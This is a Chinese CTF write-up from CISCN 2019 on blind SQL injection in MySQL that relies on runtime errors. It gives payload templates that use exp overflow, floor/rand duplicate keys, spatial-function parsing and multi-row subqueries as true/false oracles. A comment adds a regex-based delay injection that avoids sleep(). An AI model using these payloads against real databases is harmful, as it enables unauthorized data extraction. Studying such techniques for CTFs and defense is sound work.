通过CISCN2019 Day 1 SQL注入思考基于运行时错误的盲注
Mads WEB安全 10405浏览 · 2019-04-26 22:02

前言

这次的CISCN WEB题感觉质量还不错。第一天的SQL注入一题,很容易发现服务端的返回有两种,一种是登录失败,另一种数据库操作失败。可以意识到可以盲注,但是与一般的盲注好像不太一样。比较常遇到的是服务端会根据sql语句的逻辑true or false来返回不同的东西,但是这里是根据sql语句的执行情况的true or false来返回不同的东西。当然如果前一种情况sql语句执行失败,服务端返回500的情况,也是适用于第二种情况的盲注的。所以说第二种情况的盲注方法更加的通用。刚好之前去六室面试时,学长们出了一道利用exp函数的特性进行注入的题。当时那题我在机试时在网上搜了一大堆,但是能搜到利用exp函数的报错来进行注入,但是需要错误回显。但当时那题是没有错误回显的,只提示错误和失败。题目也禁用了时间函数,也就是没法基于时间进行盲注。本来已经在放弃边缘了,机试一道题没做出来很凉,但是快结束时候突然灵光一闪想到了可以利用exp函数的参数在大于709的情况下会导致sql语句执行失败,这样其实就找到了一种方法来利用服务端的两种不同回显来判断我们自定义表达式的真假。比如这个表达式是709 + c - ascii('a'),让c初始化为126(最大可见字符),我们把它作为参数传给exp函数,这时sql语句必然是执行失败的,因为709 + 126 - ascii('a') > 709。然后我们不断的c--,直到c == ascii('a'),那么就相当于exp(709 + c - c) == exp(709),sql语句就会执行成功,这时的c就是ascii(a),利用这种思路就可以进行盲注了。赛后看到别人的wp,意识到不止exp函数,包括cotpow等只要能得到超大数导致超过mysql的数值表示返回的,sql语句就会执行失败:

mysql> select pow(2,1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
mysql> select cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

发散

当然我觉得除了利用MYSQL超过数值表示范围就报错这个点之外,还有其他的思路。我想到了是不是可以利用数学本身的约定来,比如除0操作。但是有意思的是mysql是允许除0的,只是会发生warning:

mysql> select 1/0;
+------+
| 1/0  |
+------+
| NULL |
+------+
1 row in set, 1 warning (0.00 sec)

包括log(-1)等都没法让sql语句执行失败,看来还是需要利用mysql本身的特性来搞。我还尝试利用if语句的条件与mysql执行高权限操作报错的特性以及查询不存在表名、列名报错等特性,但是发现mysql解释器貌似会对sql语句进行预检查,而不会在执行时检查,这样我们if条件就没法生效。于是去查了下MYSQL的官方文档,发现错误种类非常多。而我们需要的错误类型是sql语句运行时产生的。比方说上面利用的错误ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'就是sql语句在运行时计算时产生的错误。

找呀找,找呀找。突然不想找了,意识到我们想要的运行时错误,不就是网上能搜到的那些报错注入的例子么。我们可以把他们变个方式,就可以进行盲注了。整理一下如下:

Floor

因为floor报错注入的原理本身就是基于rand()函数在sql语句执行时的多次调用,所以我们可以直接改成盲注。经过测试,可以将测试条件放在group by之后。

# Floor 报错注入改为报错盲注
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from mysql.user group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
|        5 | 0 |
+----------+---+
1 row in set (0.00 sec)

Spatial Functions

网上还普遍存在的通过传入非法参数给空间函数进行报错注入的方法,貌似在盲注的情况下没法成功。因为测试发现mysql解释器在解析sql语句中这类函数的参数时候就会检查合法性,所以不满足我们之前说的需要sql语句运行时检查的条件。但是在官方文档发现了有意思的东西。

# 原方法没法让if条件生效
mysql> SELECT IF(1,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
mysql> SELECT IF(0,ST_X(LINESTRING(mads)),0);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing

文档中发现了两个函数ST_GeomFromTextST_MPointFromText可以从文本中解析Spatial function,我下意识的觉得这里可能可以绕过mysql解释器的预检查,测试了一下果然是可以的。需要说明的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数。

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(mads)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0);
+------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(mads)')), 0) |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

于是整理了一下可用的函数payload如下:

{}中是需要判断的条件

# POINT
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);

这里还可以拓展下思路,就是其实我们需要的只是个动态解析变量的函数来绕过mysql解释器的预检,所以下面的payload同样都是可以的:

SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

其他特性的报错

翻阅文档与测试之后,只找到额外的以下可行payload。

  1. 基于错误号1242
mysql> select if(1, (select user from user), 0);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select if(0, (select user from user), 0);
+-----------------------------------+
| if(0, (select user from user), 0) |
+-----------------------------------+
| 0                                 |
+-----------------------------------+
1 row in set (0.00 sec)

可能还有很多,这里只是举个栗子,就不一一列举,各位师傅感兴趣的可以自己尝试去找找。找到了新思路欢迎评论交流~

总结

本文介绍了基于sql语句运行时发生错误的盲注,简称基于运行时错误的盲注(我起的)。并通过思维发散介绍了几种衍生的payload。由于本人精力与能力有限,肯定没有介绍完全。各位师傅可以自由发挥想象,想到了其他方法欢迎评论区讨论交流~

5 条评论
某人
表情
可输入 255
1chig0
2019-06-02 15:00 0 回复

@corp0ra1 谢谢师傅,学习了。


corp0ra1
2019-05-11 15:58 0 回复

@1chig0 http://www.sqlinjection.net/heavy-query/ 参看这篇文章最后的总结部分:You must also be aware that the injected query will most likely be executed only once. The database optimizer will execute it, store its result and use the returned value(s) when testing the WHERE clause against each record. As you can guess, this is must faster than executing the query each time. It should be mentioned however that the query will not be executed if the optimizer detects that the WHERE clause is always false. To avoid any unexpected results you should always try to generate a WHERE clause that will be verified for at least one record.即:sql会自动优化,把你的结果存起来,下一次查询也就迅速了,同时如果你查询次数错误过多的话,也会导致下次直接无法执行。因此你要想保证注入成功,最好每次的注入都不同,比如宸师傅的49999999变成49999998之类的


1chig0
2019-04-29 04:13 0 回复

@Sky丶箬宸 最初我们也是这么构造的,但是好像只能有校延迟几次,后面就秒速返回了。。也可能是玄学


Sky丶箬宸
2019-04-28 04:14 0 回复

实际上还是可以时间盲注的,虽然过滤了sleep(),但是却可以正则延迟注入,通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

这条语句可以差不多控制5秒多延迟,当时比赛时我们采用了这个,缺点就是不稳定


clthe****
2019-04-27 06:06 0 回复

前排膜